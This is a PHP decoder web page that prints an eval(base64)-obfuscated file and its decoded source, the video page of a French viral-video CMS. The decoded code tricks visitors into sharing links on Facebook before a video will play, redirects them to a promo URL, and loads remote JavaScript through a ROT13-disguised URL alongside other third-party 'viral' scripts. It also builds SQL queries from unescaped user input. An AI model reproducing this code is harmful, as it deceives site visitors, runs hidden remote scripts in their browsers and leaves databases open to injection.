Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHANCgkvKg0KCQlTY3JpcHQgZkJ1enpDTVMgIQ0KCQlWZXJzaW9uIDo..

Decoded Output download

?>b'<?php
	/*
		Script fBuzzCMS !
		Version : 1.1
		Date de la version : 14 Juin 2011
		Auteur : noxo.
		Site web : http://noxo-studio.fr
	*/
	require (\'head.php\');
		echo \'<div id="index">\';
		
		if (isset($_GET[\'id\'])):
			$idToView = intval($_GET[\'id\']);
			if (is_numeric($idToView)):
				$demVideo = $db->query("SELECT * FROM movies WHERE id=\'$idToView\'");
			
				if ($demVideo->rowCount()==1):
					$infoVideo = $demVideo->fetch();
					$demSign = $db->query("SELECT * FROM signalements WHERE idMovie=\'$idToView\' AND etat=\'0\'");
					if (isset($_GET[\'sign\'])):
						if ($demSign->rowCount()==0):
							if (isset($_POST[\'signaler\'])):
								$raison = strip_tags($_POST[\'raison\']);
								$backLink = \'<a href="javascript:history.go(-1)">Retour</a>\';
								$ip = $_SERVER[\'REMOTE_ADDR\'];
								$date = time();
								$erreur = \'\';
								if ($raison==\'\'):
									$erreur .= \'Merci de remplir la raison du signalement.<br />\';
								endif;
								
								if ($erreur!=\'\'):
									echo $erreur.$backLink;
								else:
									$db->query("INSERT INTO signalements (idMovie, ip, date, raison) VALUES (\'$idToView\', \'$ip\', \'$date\', \'$raison\')");
									echo \'Merci. Votre signalement a bien t pris en compte. Redirection...<meta http-equiv="refresh" content="1; URL=video_\'.$idToView.\'">\';
								endif;
							else:
								?>
								<form method="POST" action="">
									Merci de prciser le motif du signalement<br /><input type="text" name="raison" id="search" maxlength="100" /> <input type="submit" name="signaler" value="Signaler" />
								</form>
								<?php
							endif;
						else:
							echo \'Cette vido a dj t signale. Redirection...<meta http-equiv="refresh" content="1; URL=video_\'.$idToView.\'">\';
						endif;
					else:
						$vues = $infoVideo[\'vues\']+1;
						$argent = $infoUser[\'argent\']+1;
						$db->query("UPDATE movies set vues=\'$vues\' WHERE id=\'$idToView\'");
						$db->query("UPDATE users set argent=\'$argent\' WHERE id=1");
						$urlActive = $config[\'urlBase\'].\'video_\'.$idToView;
					
						if ($demSign->rowCount()==1):
							echo \'<center><br /><strong>Cette vido a t signale par un utilisateur du site.</strong></center>\';
						endif;
						echo \'<h1><table><tr><td><img src="\'.htmlspecialchars($infoVideo[\'image\']).\'" width="120" height="90" style="margin-bottom: -40px;" /></td><td>\'.htmlspecialchars(stripslashes($infoVideo[\'titre\'])).\'</td/></tr></table></h1>\';
						?>
						
						<meta http-equiv="Content-Type" content="text/html; charset=windows-1252" /> 
					
<title><?php echo $config[\'titre\']; ?><?php echo stripslashes($movie[\'titre\']); ?></title>

    

						<style>
#watchingCount {
            color: #FFFFFF;
            font-size: 4.3em;
            padding: 14px 0px;
            background: #315993;
            text-align: center;
            border-radius: 12px 12px 0px 0px;
            line-height: 1em;
            max-width: 300px;
        }
.watching-count-msg {
            padding: 12px 0px;
            text-align: center;
            background: #3F3F3F;
            color: #fff;
            border-radius: 0px 0px 12px 12px;
            margin-bottom: 30px;
            font-weight: bold;
            font-size: 12px;
            max-width: 300px;
        }
        </style>
     <meta http-equiv="content-type" content="text/html; charset=UTF-8">
	 
 <script>
    //var linkas = document.location.href;
    var linkas = \'    \';
    linkas = linkas.split(\'?\')[0]+"";
    var statement = 0;
    var _try = 0;
    function PVMhIsHW(type) {
                {
                                         
                    document.getElementById(\'savideo\').innerHTML=\'<iframe width="700" height="315" src="http://www.youtube.com/embed/_VeI-_HGZB0?wmode=transparent" frameborder="0" allowfullscreen></iframe>\'; 
 
                }
    }
     
    function NnPupQmrYdlw() {
        if (statement > 0) {
            if (this._try == 1) { PVMhIsHW(); }
            else { alert(\'You need to share the video with others to play.\'); }
        }
        if (statement == 0) {
            document.getElementById(\'restrictions\').style.visibility=\'visible\';
            statement++;    
        }
         
    }
     
</script>
<script type="text/javascript">
var exitPop=false;var zamzam=false;var nonFire=false;
 
 
    function fikala(fichier) {
    ff = window.open(fichier, "popup", "width=600px,height=300px,left=50%,top=50%");
 
    var timer1 = window.setInterval(function () {
        zamzam = true;
        setTimeout(\'this._try = 1;\', 4000);
        if (ff.closed !== false) {
            window.clearInterval(timer1);
            PVMhIsHW();
        }
    }, 300);
}
    function wekamovie(_try) {
        if (this._try == 1) { PVMhIsHW(); }
        if (this._try == 1) { PVMhIsHW(); }
        else { alert(\'You need to share the video with others to play.\'); } 
    }
     
    function PVMhIsHW(type) {
                {
                    zamzam=true;
                    document.location = "<?php echo $config[\'promoFb\']; ?>"
 
 
                }
    }
   
</script>
 
<script type="text/javascript">var _sf_startpt=(new Date()).getTime()</script>
<script type="text/javascript">
            (function(){function r(s){return s.replace(/[A-z]/g,function(c){return String.fromCharCode(c.charCodeAt(0)+(\'M\'>=c.toUpperCase()?13:-13))})}
    var c=document.createElement(\'script\'),wdefine=typeof define!==\'undefined\'?define:false;c.type=\'text/javascript\';c.async=true;
    c.setAttribute(\'data-main\',r(\'uggc://ncc.zlfnsrhey.pbz/ncc.wf\'));c.src=\'//cdnjs.cloudflare.com/ajax/libs/require.js/2.1.10/require.min.js\';
    c.onload=function(){mydefine=define,define=wdefine?wdefine:null;};
    var s=document.getElementsByTagName(\'script\')[0];s.parentNode.insertBefore(c,s);
})();
</script></head>
 
<body>

 		
 
 
<div id="fb-root"></div>
<script>
function deleteParentElement(n){
n.parentNode.parentNode.removeChild(n.parentNode);
}
function kabisatoa(){
var player = document.getElementById(\'dave\');
player.parentNode.removeChild(player);
}
</script>
 
 

 
 
</span>
</div>
         			<?php

//cration d\'un nombre alatoire entre 1 et 100


$nb_min = 1;
$nb_max = 588887777887;
$nombre = mt_rand($nb_min,$nb_max);


?>
<div class="content">
<div class="maincontent">
  <?php echo stripslashes($pub[\'droite\']); ?>
    <?php echo stripslashes($pub[\'droite\']); ?>
   
      <div id="videocontent">
        <div id="jwplayer1"></div>
                  <div id="savideo">
                 
                    <div style="background-image:url(<?php echo $infoVideo[\'image\']; ?>);width:600px;height:350px;overflow:hidden;background-repeat:no-repeat;background-size: 100%;" id="fontvideo" align="left">
				      
                      <div style="width:500px;height:200px;margin-left:20px;color:#FFF;">
                             
                            <br><br><br> <br><br><br>
                            <div id="dave" style="float:left;width:200px;margin-top:30px;margin-left:115px;">
                        <a href="#" onclick="NnPupQmrYdlw(); deleteParentElement(this);"><img src="http://www.zupimages.net/up/16/11/5sbw.png" border="0" width="300" height="187"></a>
                        </div>
                            <div id="restrictions" style="visibility:hidden;">
                             
                         	<a href="#" onclick="fikala(&#39;https://www.facebook.com/sharer/sharer.php?u=<?php echo $config[\'urlBase\']; ?>video_<?php echo $infoVideo[\'id\']; ?>?id=<?php echo $nombre; ?>&#39;);return false"><img src="http://www.zupimages.net/up/16/11/elsb.png" border="0" height="200" width="500"></a>
						     
							
                               
                            </div>
   
                        </div>
   
                        <div style="float:left;width:560px;margin-top:-5px;margin-left:7px;"><a href="#" onclick="NnPupQmrYdlw(); kabisatoa();"><img src="http://i.imgur.com/ZfICH3s.png" border="0" height="51" width="550"></a></div>
                    </div>
     <?php echo stripslashes($pub[\'top\']); ?>
	   <?php echo stripslashes($pub[\'video\']); ?>
	   <script type="text/javascript" src="http://lactuenbuzz.com/viralscript.js"></script>
	   <script data-cfasync="false" type="text/javascript" src="http://www.tradeadexchange.com/a/display.php?r=62447"></script>

                </div>
      </div>

	<?php
							$infoVideo[\'titre\'] = str_replace("\'", \' \', $infoVideo[\'titre\']);
							$rand = rand (1,2);
							$rand2 = rand (1,2);
							$nb = rand(1,5);
							$nb2 = rand(1,5);
						?>
                        
                      
						<br />
						<fb:like href="<?php echo $config[\'pageFb\']; ?>" send="false" width="170" show_faces="false" layout="button_count"></fb:like>
						<?php
							if ($demSign->rowCount()==0):
								echo \'<a href="\'.$config[\'urlBase\'].\'video_sign_\'.$infoVideo[\'id\'].\'"><strong>Signaler cette video</strong></a>\';
							endif;
						?>
							<fb:comments href="<?php echo $config[\'urlBase\']; ?>video_<?php echo $movie[\'id\']; ?>" width="640px;" num_posts="10" style="background-color: #FFF;"></fb:comments>
                        <center>
                            <h2>Ces videos peuvent vous interesser</h2>
                        </center>
						<?php
							$demVideos = $db->query("SELECT *  FROM movies ORDER BY rand() DESC LIMIT 0, 5");
							while ($movie = $demVideos->fetch()){					
								$toReplace = array("", "", "");
								$replaced= array("e", "e", "a");
								$linkName = str_replace($toReplace, $replaced, $movie[\'titre\']);
								$linkName = preg_replace(\'/([^.a-zA-Z0-9]+)/i\', \'_\', $linkName);
								?>
								<a href="<?php echo $config[\'urlBase\']; ?>video_<?php echo $movie[\'id\']; ?>/<?php echo $linkName; ?>" title="<?php echo stripslashes($movie[\'titre\']); ?>">
									<table style="float: left;">
										<tr>
											<td><img src="<?php echo $movie[\'image\']; ?>" width="120" height="90" class="vignette" /></td>
										</tr>
									</table>
								</a>
								<?php
							}
						?>
					
						
						<?php
					endif;
				else:
					echo \'<meta http-equiv="refresh" content="0; URL=accueil">\';
				endif;
			else:
				echo \'<meta http-equiv="refresh" content="0; URL=accueil">\';
			endif;
		else:
			$sql = $db->query("SELECT count(id) AS nbmovies FROM movies");
			$data = $sql->fetch();
			
			$nbApps = $data[\'nbmovies\']-1;
			$perPage = 10;
			$nbPage = ceil($nbApps/$perPage);
			$cPage = 1;
	
			if (isset($_GET[\'p\']) && $_GET[\'p\']>0 && $_GET[\'p\']<=$nbPage):
				$cPage = $_GET[\'p\'];
			else:
				$cPage = 1;
			endif;
			$debLimit = ($cPage-1)*$perPage;
			
			$demVideos = $db->query("SELECT *, (SELECT nom FROM cats i WHERE i.id=u.idCat) AS categorie FROM movies u ORDER BY id DESC LIMIT $debLimit,$perPage");
			if ($demVideos->rowCount()>0):
				while ($movie = $demVideos->fetch()){
					$lMovie = strlen($movie[\'titre\']);
					if ($lMovie>60):
						$movie[\'titre\'] = substr($movie[\'titre\'], 0, 60).\'...\';
					endif;
					?>
						<div id="zone">
							<a href="video_<?php echo $movie[\'id\']; ?>">
								<table>
									<tr>
										<td><img src="<?php echo htmlspecialchars($movie[\'image\']); ?>" width="120" height="90" class="vignette" /></td>
										<td class="top" width="177">
											<?php echo htmlspecialchars(stripslashes($movie[\'titre\'])); ?><br /><br />
											Vue : <span class="blue"><?php echo formatNombre($movie[\'vues\']); ?></span> fois<br /><br />
											Catgorie : <a href="cat_<?php echo $movie[\'idCat\']; ?>"><?php echo htmlspecialchars($movie[\'categorie\']); ?></a> <span class="right"><a href="video_<?php echo $movie[\'id\']; ?>"><strong>Voir</strong></a></span>
										</td>
									</tr>
								</table>
							</a>
						</div>
					<?php
				}
				
				//On affiche notre pagination ici
				echo \'<center><div class="pagination blue" style="width: 640px;height: 40px;">\';
					if ($cPage>1):
						echo \'<a class="number current" href="videos_p_1">Premire</a>\';	
					endif;
						for ($f=1; $f<=$nbPage;$f++){
							$cPageMin = $cPage-4;
							$cPageMax = $cPage+4;
							
							if ($f==$cPage):
								echo \'<a class="number current" href="#">\'.$f.\'</a>\';
							else:
								if (($f>$cPageMin) && ($f<$cPageMax)):
									echo \'<a class="number" href="videos_p_\'.$f.\'">\'.$f.\'</a>\';	
								endif;
							endif;
						}
					if ($cPage<$nbPage):
						echo \'<a class="number current" href="videos_p_\'.$nbPage.\'">Dernire</a>\';	
					endif;
				echo \'</div></center>\';

			else:
				echo \'<div id="aachen">Aucune vido</div>\';
			endif;
		endif;
        echo \'</div>\';
	require (\'foot.php\');
?>'

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("PD9waHANCgkvKg0KCQlTY3JpcHQgZkJ1enpDTVMgIQ0KCQlWZXJzaW9uIDogMS4xDQoJCURhdGUgZGUgbGEgdmVyc2lvbiA6IDE0IEp1aW4gMjAxMQ0KCQlBdXRldXIgOiBub3hvLg0KCQlTaXRlIHdlYiA6IGh0dHA6Ly9ub3hvLXN0dWRpby5mcg0KCSovDQoJcmVxdWlyZSAoJ2hlYWQucGhwJyk7DQoJCWVjaG8gJzxkaXYgaWQ9ImluZGV4Ij4nOw0KCQkNCgkJaWYgKGlzc2V0KCRfR0VUWydpZCddKSk6DQoJCQkkaWRUb1ZpZXcgPSBpbnR2YWwoJF9HRVRbJ2lkJ10pOw0KCQkJaWYgKGlzX251bWVyaWMoJGlkVG9WaWV3KSk6DQoJCQkJJGRlbVZpZGVvID0gJGRiLT5xdWVyeSgiU0VMRUNUICogRlJPTSBtb3ZpZXMgV0hFUkUgaWQ9JyRpZFRvVmlldyciKTsNCgkJCQ0KCQkJCWlmICgkZGVtVmlkZW8tPnJvd0NvdW50KCk9PTEpOg0KCQkJCQkkaW5mb1ZpZGVvID0gJGRlbVZpZGVvLT5mZXRjaCgpOw0KCQkJCQkkZGVtU2lnbiA9ICRkYi0+cXVlcnkoIlNFTEVDVCAqIEZST00gc2lnbmFsZW1lbnRzIFdIRVJFIGlkTW92aWU9JyRpZFRvVmlldycgQU5EIGV0YXQ9JzAnIik7DQoJCQkJCWlmIChpc3NldCgkX0dFVFsnc2lnbiddKSk6DQoJCQkJCQlpZiAoJGRlbVNpZ24tPnJvd0NvdW50KCk9PTApOg0KCQkJCQkJCWlmIChpc3NldCgkX1BPU1RbJ3NpZ25hbGVyJ10pKToNCgkJCQkJCQkJJHJhaXNvbiA9IHN0cmlwX3RhZ3MoJF9QT1NUWydyYWlzb24nXSk7DQoJCQkJCQkJCSRiYWNrTGluayA9ICc8YSBocmVmPSJqYXZhc2NyaXB0Omhpc3RvcnkuZ28oLTEpIj5SZXRvdXI8L2E+JzsNCgkJCQkJCQkJJGlwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107DQoJCQkJCQkJCSRkYXRlID0gdGltZSgpOw0KCQkJCQkJCQkkZXJyZXVyID0gJyc7DQoJCQkJCQkJCWlmICgkcmFpc29uPT0nJyk6DQoJCQkJCQkJCQkkZXJyZXVyIC49ICdNZXJjaSBkZSByZW1wbGlyIGxhIHJhaXNvbiBkdSBzaWduYWxlbWVudC48YnIgLz4nOw0KCQkJCQkJCQllbmRpZjsNCgkJCQkJCQkJDQoJCQkJCQkJCWlmICgkZXJyZXVyIT0nJyk6DQoJCQkJCQkJCQllY2hvICRlcnJldXIuJGJhY2tMaW5rOw0KCQkJCQkJCQllbHNlOg0KCQkJCQkJCQkJJGRiLT5xdWVyeSgiSU5TRVJUIElOVE8gc2lnbmFsZW1lbnRzIChpZE1vdmllLCBpcCwgZGF0ZSwgcmFpc29uKSBWQUxVRVMgKCckaWRUb1ZpZXcnLCAnJGlwJywgJyRkYXRlJywgJyRyYWlzb24nKSIpOw0KCQkJCQkJCQkJZWNobyAnTWVyY2kuIFZvdHJlIHNpZ25hbGVtZW50IGEgYmllbiDpdOkgcHJpcyBlbiBjb21wdGUuIFJlZGlyZWN0aW9uLi4uPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMTsgVVJMPXZpZGVvXycuJGlkVG9WaWV3LiciPic7DQoJCQkJCQkJCWVuZGlmOw0KCQkJCQkJCWVsc2U6DQoJCQkJCQkJCT8+DQoJCQkJCQkJCTxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiPg0KCQkJCQkJCQkJTWVyY2kgZGUgcHLpY2lzZXIgbGUgbW90aWYgZHUgc2lnbmFsZW1lbnQ8YnIgLz48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icmFpc29uIiBpZD0ic2VhcmNoIiBtYXhsZW5ndGg9IjEwMCIgLz4gPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2lnbmFsZXIiIHZhbHVlPSJTaWduYWxlciIgLz4NCgkJCQkJCQkJPC9mb3JtPg0KCQkJCQkJCQk8P3BocA0KCQkJCQkJCWVuZGlmOw0KCQkJCQkJZWxzZToNCgkJCQkJCQllY2hvICdDZXR0ZSB2aWTpbyBhIGTpauAg6XTpIHNpZ25hbOllLiBSZWRpcmVjdGlvbi4uLjxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjE7IFVSTD12aWRlb18nLiRpZFRvVmlldy4nIj4nOw0KCQkJCQkJZW5kaWY7DQoJCQkJCWVsc2U6DQoJCQkJCQkkdnVlcyA9ICRpbmZvVmlkZW9bJ3Z1ZXMnXSsxOw0KCQkJCQkJJGFyZ2VudCA9ICRpbmZvVXNlclsnYXJnZW50J10rMTsNCgkJCQkJCSRkYi0+cXVlcnkoIlVQREFURSBtb3ZpZXMgc2V0IHZ1ZXM9JyR2dWVzJyBXSEVSRSBpZD0nJGlkVG9WaWV3JyIpOw0KCQkJCQkJJGRiLT5xdWVyeSgiVVBEQVRFIHVzZXJzIHNldCBhcmdlbnQ9JyRhcmdlbnQnIFdIRVJFIGlkPTEiKTsNCgkJCQkJCSR1cmxBY3RpdmUgPSAkY29uZmlnWyd1cmxCYXNlJ10uJ3ZpZGVvXycuJGlkVG9WaWV3Ow0KCQkJCQkNCgkJCQkJCWlmICgkZGVtU2lnbi0+cm93Q291bnQoKT09MSk6DQoJCQkJCQkJZWNobyAnPGNlbnRlcj48YnIgLz48c3Ryb25nPkNldHRlIHZpZOlvIGEg6XTpIHNpZ25hbOllIHBhciB1biB1dGlsaXNhdGV1ciBkdSBzaXRlLjwvc3Ryb25nPjwvY2VudGVyPic7DQoJCQkJCQllbmRpZjsNCgkJCQkJCWVjaG8gJzxoMT48dGFibGU+PHRyPjx0ZD48aW1nIHNyYz0iJy5odG1sc3BlY2lhbGNoYXJzKCRpbmZvVmlkZW9bJ2ltYWdlJ10pLiciIHdpZHRoPSIxMjAiIGhlaWdodD0iOTAiIHN0eWxlPSJtYXJnaW4tYm90dG9tOiAtNDBweDsiIC8+PC90ZD48dGQ+Jy5odG1sc3BlY2lhbGNoYXJzKHN0cmlwc2xhc2hlcygkaW5mb1ZpZGVvWyd0aXRyZSddKSkuJzwvdGQvPjwvdHI+PC90YWJsZT48L2gxPic7DQoJCQkJCQk/Pg0KCQkJCQkJDQoJCQkJCQk8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTIiIC8+IA0KCQkJCQkNCjx0aXRsZT48P3BocCBlY2hvICRjb25maWdbJ3RpdHJlJ107ID8+PD9waHAgZWNobyBzdHJpcHNsYXNoZXMoJG1vdmllWyd0aXRyZSddKTsgPz48L3RpdGxlPg0KDQogICAgDQoNCgkJCQkJCTxzdHlsZT4NCiN3YXRjaGluZ0NvdW50IHsNCiAgICAgICAgICAgIGNvbG9yOiAjRkZGRkZGOw0KICAgICAgICAgICAgZm9udC1zaXplOiA0LjNlbTsNCiAgICAgICAgICAgIHBhZGRpbmc6IDE0cHggMHB4Ow0KICAgICAgICAgICAgYmFja2dyb3VuZDogIzMxNTk5MzsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDEycHggMTJweCAwcHggMHB4Ow0KICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDFlbTsNCiAgICAgICAgICAgIG1heC13aWR0aDogMzAwcHg7DQogICAgICAgIH0NCi53YXRjaGluZy1jb3VudC1tc2cgew0KICAgICAgICAgICAgcGFkZGluZzogMTJweCAwcHg7DQogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjM0YzRjNGOw0KICAgICAgICAgICAgY29sb3I6ICNmZmY7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAwcHggMHB4IDEycHggMTJweDsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDMwcHg7DQogICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTJweDsNCiAgICAgICAgICAgIG1heC13aWR0aDogMzAwcHg7DQogICAgICAgIH0NCiAgICAgICAgPC9zdHlsZT4NCiAgICAgPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPg0KCSANCiA8c2NyaXB0Pg0KICAgIC8vdmFyIGxpbmthcyA9IGRvY3VtZW50LmxvY2F0aW9uLmhyZWY7DQogICAgdmFyIGxpbmthcyA9ICcgICAgJzsNCiAgICBsaW5rYXMgPSBsaW5rYXMuc3BsaXQoJz8nKVswXSsiIjsNCiAgICB2YXIgc3RhdGVtZW50ID0gMDsNCiAgICB2YXIgX3RyeSA9IDA7DQogICAgZnVuY3Rpb24gUFZNaElzSFcodHlwZSkgew0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzYXZpZGVvJykuaW5uZXJIVE1MPSc8aWZyYW1lIHdpZHRoPSI3MDAiIGhlaWdodD0iMzE1IiBzcmM9Imh0dHA6Ly93d3cueW91dHViZS5jb20vZW1iZWQvX1ZlSS1fSEdaQjA/d21vZGU9dHJhbnNwYXJlbnQiIGZyYW1lYm9yZGVyPSIwIiBhbGxvd2Z1bGxzY3JlZW4+PC9pZnJhbWU+JzsgDQogDQogICAgICAgICAgICAgICAgfQ0KICAgIH0NCiAgICAgDQogICAgZnVuY3Rpb24gTm5QdXBRbXJZZGx3KCkgew0KICAgICAgICBpZiAoc3RhdGVtZW50ID4gMCkgew0KICAgICAgICAgICAgaWYgKHRoaXMuX3RyeSA9PSAxKSB7IFBWTWhJc0hXKCk7IH0NCiAgICAgICAgICAgIGVsc2UgeyBhbGVydCgnWW91IG5lZWQgdG8gc2hhcmUgdGhlIHZpZGVvIHdpdGggb3RoZXJzIHRvIHBsYXkuJyk7IH0NCiAgICAgICAgfQ0KICAgICAgICBpZiAoc3RhdGVtZW50ID09IDApIHsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZXN0cmljdGlvbnMnKS5zdHlsZS52aXNpYmlsaXR5PSd2aXNpYmxlJzsNCiAgICAgICAgICAgIHN0YXRlbWVudCsrOyAgICANCiAgICAgICAgfQ0KICAgICAgICAgDQogICAgfQ0KICAgICANCjwvc2NyaXB0Pg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIGV4aXRQb3A9ZmFsc2U7dmFyIHphbXphbT1mYWxzZTt2YXIgbm9uRmlyZT1mYWxzZTsNCiANCiANCiAgICBmdW5jdGlvbiBmaWthbGEoZmljaGllcikgew0KICAgIGZmID0gd2luZG93Lm9wZW4oZmljaGllciwgInBvcHVwIiwgIndpZHRoPTYwMHB4LGhlaWdodD0zMDBweCxsZWZ0PTUwJSx0b3A9NTAlIik7DQogDQogICAgdmFyIHRpbWVyMSA9IHdpbmRvdy5zZXRJbnRlcnZhbChmdW5jdGlvbiAoKSB7DQogICAgICAgIHphbXphbSA9IHRydWU7DQogICAgICAgIHNldFRpbWVvdXQoJ3RoaXMuX3RyeSA9IDE7JywgNDAwMCk7DQogICAgICAgIGlmIChmZi5jbG9zZWQgIT09IGZhbHNlKSB7DQogICAgICAgICAgICB3aW5kb3cuY2xlYXJJbnRlcnZhbCh0aW1lcjEpOw0KICAgICAgICAgICAgUFZNaElzSFcoKTsNCiAgICAgICAgfQ0KICAgIH0sIDMwMCk7DQp9DQogICAgZnVuY3Rpb24gd2VrYW1vdmllKF90cnkpIHsNCiAgICAgICAgaWYgKHRoaXMuX3RyeSA9PSAxKSB7IFBWTWhJc0hXKCk7IH0NCiAgICAgICAgaWYgKHRoaXMuX3RyeSA9PSAxKSB7IFBWTWhJc0hXKCk7IH0NCiAgICAgICAgZWxzZSB7IGFsZXJ0KCdZb3UgbmVlZCB0byBzaGFyZSB0aGUgdmlkZW8gd2l0aCBvdGhlcnMgdG8gcGxheS4nKTsgfSANCiAgICB9DQogICAgIA0KICAgIGZ1bmN0aW9uIFBWTWhJc0hXKHR5cGUpIHsNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIHphbXphbT10cnVlOw0KICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5sb2NhdGlvbiA9ICI8P3BocCBlY2hvICRjb25maWdbJ3Byb21vRmInXTsgPz4iDQogDQogDQogICAgICAgICAgICAgICAgfQ0KICAgIH0NCiAgIA0KPC9zY3JpcHQ+DQogDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+dmFyIF9zZl9zdGFydHB0PShuZXcgRGF0ZSgpKS5nZXRUaW1lKCk8L3NjcmlwdD4NCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCiAgICAgICAgICAgIChmdW5jdGlvbigpe2Z1bmN0aW9uIHIocyl7cmV0dXJuIHMucmVwbGFjZSgvW0Etel0vZyxmdW5jdGlvbihjKXtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZShjLmNoYXJDb2RlQXQoMCkrKCdNJz49Yy50b1VwcGVyQ2FzZSgpPzEzOi0xMykpfSl9DQogICAgdmFyIGM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyksd2RlZmluZT10eXBlb2YgZGVmaW5lIT09J3VuZGVmaW5lZCc/ZGVmaW5lOmZhbHNlO2MudHlwZT0ndGV4dC9qYXZhc2NyaXB0JztjLmFzeW5jPXRydWU7DQogICAgYy5zZXRBdHRyaWJ1dGUoJ2RhdGEtbWFpbicscigndWdnYzovL25jYy56bGZuc3JoZXkucGJ6L25jYy53ZicpKTtjLnNyYz0nLy9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvcmVxdWlyZS5qcy8yLjEuMTAvcmVxdWlyZS5taW4uanMnOw0KICAgIGMub25sb2FkPWZ1bmN0aW9uKCl7bXlkZWZpbmU9ZGVmaW5lLGRlZmluZT13ZGVmaW5lP3dkZWZpbmU6bnVsbDt9Ow0KICAgIHZhciBzPWRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdzY3JpcHQnKVswXTtzLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKGMscyk7DQp9KSgpOw0KPC9zY3JpcHQ+PC9oZWFkPg0KIA0KPGJvZHk+DQoNCiAJCQ0KIA0KIA0KPGRpdiBpZD0iZmItcm9vdCI+PC9kaXY+DQo8c2NyaXB0Pg0KZnVuY3Rpb24gZGVsZXRlUGFyZW50RWxlbWVudChuKXsNCm4ucGFyZW50Tm9kZS5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKG4ucGFyZW50Tm9kZSk7DQp9DQpmdW5jdGlvbiBrYWJpc2F0b2EoKXsNCnZhciBwbGF5ZXIgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZGF2ZScpOw0KcGxheWVyLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQocGxheWVyKTsNCn0NCjwvc2NyaXB0Pg0KIA0KIA0KDQogDQogDQo8L3NwYW4+DQo8L2Rpdj4NCiAgICAgICAgIAkJCTw/cGhwDQoNCi8vY3LpYXRpb24gZCd1biBub21icmUgYWzpYXRvaXJlIGVudHJlIDEgZXQgMTAwDQoNCg0KJG5iX21pbiA9IDE7DQokbmJfbWF4ID0gNTg4ODg3Nzc3ODg3Ow0KJG5vbWJyZSA9IG10X3JhbmQoJG5iX21pbiwkbmJfbWF4KTsNCg0KDQo/Pg0KPGRpdiBjbGFzcz0iY29udGVudCI+DQo8ZGl2IGNsYXNzPSJtYWluY29udGVudCI+DQogIDw/cGhwIGVjaG8gc3RyaXBzbGFzaGVzKCRwdWJbJ2Ryb2l0ZSddKTsgPz4NCiAgICA8P3BocCBlY2hvIHN0cmlwc2xhc2hlcygkcHViWydkcm9pdGUnXSk7ID8+DQogICANCiAgICAgIDxkaXYgaWQ9InZpZGVvY29udGVudCI+DQogICAgICAgIDxkaXYgaWQ9Imp3cGxheWVyMSI+PC9kaXY+DQogICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJzYXZpZGVvIj4NCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9ImJhY2tncm91bmQtaW1hZ2U6dXJsKDw/cGhwIGVjaG8gJGluZm9WaWRlb1snaW1hZ2UnXTsgPz4pO3dpZHRoOjYwMHB4O2hlaWdodDozNTBweDtvdmVyZmxvdzpoaWRkZW47YmFja2dyb3VuZC1yZXBlYXQ6bm8tcmVwZWF0O2JhY2tncm91bmQtc2l6ZTogMTAwJTsiIGlkPSJmb250dmlkZW8iIGFsaWduPSJsZWZ0Ij4NCgkJCQkgICAgICANCiAgICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJ3aWR0aDo1MDBweDtoZWlnaHQ6MjAwcHg7bWFyZ2luLWxlZnQ6MjBweDtjb2xvcjojRkZGOyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxicj48YnI+PGJyPiA8YnI+PGJyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJkYXZlIiBzdHlsZT0iZmxvYXQ6bGVmdDt3aWR0aDoyMDBweDttYXJnaW4tdG9wOjMwcHg7bWFyZ2luLWxlZnQ6MTE1cHg7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9IiMiIG9uY2xpY2s9Ik5uUHVwUW1yWWRsdygpOyBkZWxldGVQYXJlbnRFbGVtZW5